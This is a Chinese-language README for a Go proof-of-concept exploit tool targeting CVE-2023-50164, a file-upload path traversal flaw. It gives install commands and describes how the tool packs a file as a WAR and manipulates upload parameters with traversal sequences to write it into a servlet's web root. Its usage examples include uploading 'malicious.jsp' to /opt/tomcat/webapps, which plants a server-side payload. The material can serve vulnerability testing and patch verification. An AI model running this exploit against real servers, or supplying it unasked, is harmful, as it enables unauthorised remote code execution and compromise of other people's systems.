安装
要安装此工具,你必须安装并配置好 Go 1.20 或更高版本。
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
或者,你可以自行编译: $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
工作原理
此工具通过一系列阶段来执行漏洞利用。
例如,如果你想上传 /path/to/file-you-want-to-upload.txt 文件,该工具将执行以下步骤:
它将指定文件压缩为 WAR 文件,在操作系统特定的临时目录中生成 file-you-want-to-upload.war。
因此,该工具假定 servlet context 文件路径为 /file-you-want-to-upload/file-you-want-to-upload.txt。
它检查 servlet context 文件路径是否已存在。如果存在,工具立即返回错误。
工具尝试通过操纵文件上传参数来上传 WAR 文件。
随后,它再次检查 servlet context 文件路径的可用性(状态码 200),表示文件上传成功。
用法
$ cve-2023-50164-poc -h
CVE-2023-50164 的 PoC
--
由 @dwisiswant0 编写
用法:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
选项:
-u, --url <URL> 指定上传端点 URL
-f, --file <FILE> 提供要上传的有效载荷文件
-t, --traverse-seq <N> 生成遍历序列 N 次(默认:"0")
-p, --path <PATH> 指定可访问根目录的路径
-w, -win, --windows 将斜杠("/)字符转换为 Windows 分隔符("\)
示例:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
注意事项
jar 二进制文件应在系统的 $PATH 中存在。
目标路径应为可访问的根路径,例如 Jetty 的 /var/lib/jetty/webapps 或 Apache Tomcat 的 /opt/tomcat/webapps。
默认遍历序列为零("0"),你可以为 -p/--path 标志手动输入遍历序列,例如 /../webapps 或 /../../opt/tomcat/webapps。遍历序列因不同的 servlet 而异。
-w/-win/--windows 标志仅在 servlet 运行在 Windows 服务器上时使用。
免责声明
使用此工具攻击未经双方同意的目标是违法的。用户必须遵守当地、州和联邦法律。开发者("dwisiswant0"/"Dwi Siswanto")对因滥用此工具造成的任何损害概不负责。
许可证
此工具根据 WTFPL v2(DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE)许可证授权。参见 COPYING。